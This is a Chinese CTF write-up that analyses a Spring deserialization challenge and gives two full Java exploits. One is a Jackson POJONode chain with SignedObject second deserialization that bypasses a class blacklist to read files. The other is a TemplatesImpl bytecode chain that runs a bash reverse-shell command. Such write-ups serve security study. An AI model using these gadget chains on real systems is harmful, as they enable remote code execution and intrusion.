这次本来是想学习Jackson原生链才开始做这道题打复现,但是没想到的是这道题的两个做法让我学习到了Jackson原生链结合二次反序列化绕黑名单或者打TemplatesImpl恶意字节码。
学到如今更觉受益匪浅,话不多说,直接开审。
题目分析
目录结构如下:
IndexController.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public class IndexController { public IndexController() { }
@RequestMapping({"/"}) @ResponseBody public String index() { return "Hello World"; }
@GetMapping({"/hack"}) @ResponseBody public String hack(@RequestParam String payload) { byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try { ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream); URLHelper o = (URLHelper)ois.readObject(); System.out.println(o); System.out.println(o.url); return "ok!"; } catch (Exception var6) { Exception e = var6; e.printStackTrace(); return e.toString(); } }
@RequestMapping({"/file"}) @ResponseBody public String file() throws IOException { File file = new File("/tmp/file"); if (!file.exists()) { file.createNewFile(); }
FileInputStream fis = new FileInputStream(file); byte[] bytes = new byte[1024]; fis.read(bytes); return new String(bytes); } }
|
URLHelper.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class URLHelper implements Serializable { public String url; public URLVisiter visiter = null; private static final long serialVersionUID = 1L;
public URLHelper(String url) { this.url = url; }
private void readObject(ObjectInputStream in) throws Exception { in.defaultReadObject(); if (this.visiter != null) { String result = this.visiter.visitUrl(this.url); File file = new File("/tmp/file"); if (!file.exists()) { file.createNewFile(); }
FileOutputStream fos = new FileOutputStream(file); fos.write(result.getBytes()); fos.close(); }
} }
|
URLVisitor.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class URLVisiter implements Serializable { public URLVisiter() { }
public String visitUrl(String myurl) { if (myurl.startsWith("file")) { return "file protocol is not allowed"; } else { URL url = null;
try { url = new URL(myurl); BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); StringBuilder sb = new StringBuilder();
String inputLine; while((inputLine = in.readLine()) != null) { sb.append(inputLine); }
in.close(); return sb.toString(); } catch (Exception var6) { Exception e = var6; return e.toString(); } } } }
|
很显然我们需要打/hack路由反序列化进去,/file就是一个读文件的功能。再看两个URL自定义模板类,它们都继承了Serializable接口。
URLHelper重写了readObject方法,即为入口类。调用了任意类的visitUrl方法,并把结果写进文件里。
URLVisiter通过指定url访问其内部资源然后返回。
只不过我们需要注意的是/hack路由的反序列化部分,它使用的是自定义的输入流的类MyObjectInputStream
。这个类重写了resolveClass
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class MyObjectInputStream extends ObjectInputStream { public MyObjectInputStream(InputStream in) throws IOException { super(in); }
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"}; String[] var4 = denyClasses; int var5 = denyClasses.length;
for(int var6 = 0; var6 < var5; ++var6) { String denyClass = var4[var6]; if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } }
return super.resolveClass(desc); } }
|
把InetAddress、CC链ban了,甚至把他自己写的URLVisitor和URLHelper给ban了,这里我们就引入第一个做法,应该也是预期解。
SignedObject打二次反序列化绕过黑名单
SignedObject
的二次反序列化能够让我们正常使用到题目提供的URLHelper
和URLVister
,然后思路也很清晰,就是打/hack
反序列化,file的startWith
绕过可以在前面加个空格,或者全大写绕过。第一次读取目录和文件名找flag(是的,file://可以读目录),第二次读取flag。/flie
路由可以读取到回显内容。
所以Exp呼之欲出,用Jackson
原生链套上SignedObject
打二次反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package com.eddiemurphy;
import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.PrivateKey; import java.security.ProtectionDomain; import java.security.Signature; import java.security.SignedObject; import java.util.Base64; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javax.management.BadAttributeValueExpException;
public class Exp { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { }
URLHelper urlHelper = new URLHelper(" file:///flag_eddiemurphy"); URLVisiter urlVisiter = new URLVisiter(); setFieldValue(urlHelper, "visiter", urlVisiter); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp, jsonNodes); System.out.println(serial(exp)); }
public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; }
private static void setFieldValue(Object obj, String field, Object arg) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
第二个方法更神,因为直接RCE了。
TemplatesImpl恶意字节码
这个方法甚至不需要它的URLHelper和URLVisiter,直接能反弹shell。
思路来源是AliyunCTF2023的Bypassit1。
不卖关子了,直接上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.eddiemurphy;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.ProtectionDomain; import java.util.Base64;
public class Exp2 { public static void main(String[] args) throws Exception { try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, (ProtectionDomain)null); } catch (Exception var11) { }
byte[] code = getTemplates(); byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xxx"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
System.out.println(serial(val)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
打一次hack即可,因为反序列化已经成功:
二次反序列化的研究我会后续再单开一个文章,因为也非常具有研究价值。可看浅谈Java二次反序列化 - 先知社区 (aliyun.com)